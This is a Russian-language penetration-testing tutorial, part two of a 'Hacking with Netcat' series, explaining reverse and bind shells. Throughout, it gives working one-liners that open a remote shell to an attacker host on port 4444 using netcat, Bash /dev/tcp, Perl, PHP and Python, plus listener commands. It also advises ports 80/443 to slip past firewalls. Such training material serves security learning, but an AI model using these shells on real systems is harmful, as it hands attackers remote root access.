Network Performance Monitoring (NPM) and Diagnostics | Application Performance Monitoring (APM) | Application-Aware Network Performance Monitoring (AA NPM) | Network Fault Management | Information Security | Network Security

Обнаружены новые методы атаки на компьютеры через netcat: часть 2

«Взлом с помощью Netcat», часть 2: схемы прямого и обратного подключения

По материалам hackingtutorials.org

В первой части учебника «Взлом с помощью Netcat» даются самые основы Netcat. Теперь погрузимся глубже в наиболее популярные и распространенные способы использования Netcat: настройку прямого и обратного подключения (bind shell и reverse shell, соответственно). В этой части мы покажем разницу между прямым и обратным подключением и как это можно использовать. Довольно часто Netcat отсутствует в системах, поскольку может рассматриваться как потенциальная угроза безопасности. Как в таком случае использовать другие инструменты и языки программирования, кроме Netcat, которые заменят некоторые функции настройки обратного подключения. Отличными альтернативами являются такие языки программирования и написания скриптов, как Python, PHP, Perl и Bash. В завершении рассмотрим, как использовать схему прямого подключения.

Обратные подключения (Reverse Shell) в Netcat

Очень популярным и, вероятно, наиболее распространенным использованием Netcat с точки зрения тестирования на проникновение являются схемы прямого и обратного подключения. Обратное подключение (reverse shell) - это подключение, инициированное с целевого (атакуемого) компьютера на атакующее устройство, которое, в свою очередь, находится в состоянии прослушивания для установления этого соединения. Схема прямого подключения (bind shell) устанавливается на целевом компьютере и привязывается к определенному порту для прослушивания входящего соединения c атакующего устройства. Во вредоносном программном обеспечении схема bind shell часто упоминается как backdoor (тайный вход).

В следующих разделах будет продемонстрировано использование прямого и обратного подключения. На протяжении всего описания будет использоваться порт 4444, однако имейте в виду, что это может быть любой открытый порт. На самом деле для настройки обратного соединения вам чаще потребуется использовать такие более распространенные порты, как 80 и 443, так как они чаще всего открыты.

Настройка обратного подключения Netcat

Чтобы лучше понять, как работает обратное подключение Netcat, давайте посмотрим на визуализацию:

Разъяснение обратного подключения Netcat

Разъяснение обратного подключения Netcat

В этом примере целевой компьютер устанавливает обратное подключение к атакующему устройству, используя порт 4444. Опция –e позволяет отправить Bash-оболочку обратно на атакующее устройство. Обратите внимание, что параметр –e также можно использовать с cmd.exe в Windows. Допустим, мы обнаружили на целевом компьютере уязвимость удаленного выполнения кода (RCE). После этого можно ввести команду Netcat с параметром –e на целевом компьютере и инициировать обратное подключение с Netcat для выдачи команд.

Давайте посмотрим, как это работает. Ниже приводится пример, в котором настроены две системы Linux с Netcat.

Пример обратного подключения Netcat

Для настройки обратного подключения Netcat потребуется выполнить следующие шаги:

  1. Настройте приемник Netcat.
  2. Подключитесь к приемнику Netcat с целевого компьютера.
  3. Выполните команды на целевом компьютере с атакующего устройства.

Сначала с помощью следующей команды настроим на атакующем устройстве приемник Netcat, который будет прослушивать порт 4444:

nc –lvp 4444

Затем для подключения к атакующему устройству запустим на целевом компьютере следующую команду (помните, что на атакующем устройстве имеется удаленное выполнение кода):

Для Linux:

nc 192.168.100.113 4444 –e /bin/bash

Для Windows:

nc.exe 192.168.100.113 4444 –e cmd.exe

Теперь на атакующем устройстве имеется bash-shell на целевой компьютер, а также полный контроль над этим устройством в контексте учетной записи, которая инициировала обратное подключение. В этом случае оболочку инициировал привилегированный пользователь, что означает наличие привилегий на целевом компьютере.

Пример обратного подключения Netcat

Пример обратного подключения Netcat

Верхнее окно с зеленым текстом - это целевой компьютер, а нижнее окно – это атакующее устройство. Как видно, имеется root-доступ злоумышленника 192.168.100.113 к целевому компьютеру 192.168.100.107.

Обратное подключение без Netcat на целевом компьютере

Одним из основных недостатков приведенного примера является то, что на целевом компьютере нужен Netcat. А в реальной жизни очень часто это не так. В некоторых случаях Netcat присутствует или имеется способ его установить, но во многих случаях нужно использовать альтернативные способы обратного подключения к атакующему устройству. Давайте рассмотрим несколько альтернативных способов настройки обратного подключения.

Обратное подключение Bash

Для запуска обратного подключения от целевого компьютера к атакующему устройству можно использовать Bash. Для этого предназначена следующая команда:

bash -i >& /dev/tcp/192.168.100.113/4444 0>&1

Пример обратного подключения Bash

Пример обратного подключения Bash

Как можно видеть, Netcat на атакующем устройстве принимает обратное подключение bash.

Обратное подключение Perl

Если на удаленном компьютере присутствует Perl, то с его помощью также можно инициировать обратное подключение. Для настройки обратного подключения запустите на целевом компьютере следующую команду:  

perl -e ‘use
Socket; $i=”192.168.100.113″; $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”)); if(connect (S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”); open(STDOUT,”>&S”); open(STDERR,”>&S”); exec(“/bin/sh -i”);};’

Пример обратного подключения Perl

Пример обратного подключения Perl

Обратное подключение PHP

Если на скомпрометированном компьютере имеется PHP, как часто бывает на веб-серверах, это является отличной альтернативой Netcat, Perl и Bash. Чтобы использовать PHP для обратного подключения к атакующему устройству, запустите следующий код:

php -r '$sock=fsockopen("192.168.100.113",4444); exec("/bin/sh -i <&3 >&3 2>&3");'

Как можно видеть, это обратное подключение также возвращает оболочку /bin/sh.

Пример обратного подключения PHP

Пример обратного подключения PHP

Обратное подключение Python

Также очень часто на машинах с Linux установлен Python. Следующая команда запускает обратное подключение с использованием Python:  

python -c ‘import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect
((“192.168.100.113”,4444)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([“/bin/sh”,”-i”]);’

Пример обратного подключения Python

Пример обратного подключения Python

Прямое подключение Netcat

Как уже упоминалось ранее, прямое подключение - это shell, которая привязывается к определенному порту на целевом компьютере для прослушивания входящих подключений. Давайте взглянем на схему прямого подключения Netcat:

Разъяснение прямого подключения Netcat

Разъяснение прямого подключения Netcat

На этой схеме показано, что целевой компьютер привязывает Bash-shell к порту 4444, используя приемник Netcat. Злоумышленник подключается к этому порту с помощью простой команды Netcat. Шаги по настройке прямого подключения следующие:

  1. Привяжите bash-shell к порту 4444 с помощью Netcat.
  2. Подключитесь к целевому компьютеру с атакующего устройства через порт 4444.
  3. Выполните на целевом компьютере команды с атакующего устройства.

Пример прямого подключения Netcat

Посмотрим, как это выглядит в консоли:

Пример прямого подключения Netcat

Пример прямого подключения Netcat

Целевой компьютер привязывает Bash-shell к порту 4444, затем атакующий подключается к этому порту с помощью Netcat и получает доступ к корневой оболочке целевого компьютера.

Еще раз все кратко

Во второй части «Взлом с помощью Netcat» мы показали, что под обратным подключением понимается соединение, устанавливаемое от целевого компьютера к атакующему устройству. Для запуска обратного подключения не обязательно нужен Netcat - можно использовать PHP, Python, Perl, Bash и др. Кроме этого, мы показали, что прямое подключение привязывает службу к определенному порту на целевом компьютере, и позволяет прослушивать входящее соединение с атакующего устройства.

В третьей части учебника «Взлом с помощью Netcat» мы рассмотрим более продвинутые методы, такие как перенаправление трафика, piping Netcat и настройкe Netcat в качестве прокси.

Комментарии
Тут пока ничего нет, но Вы можете быть первым!
Авторизуйтесь для этого

Рейтинг@Mail.ru © 2015 - 2022 NetworkGuru.ru Использование материалов сайта без согласования запрещено!

Имя *
Номер телефона *
E-mail *
Комментарий *
Согласие на отправку персональных данных *


* - Обязательное для заполнения

Заказать звонок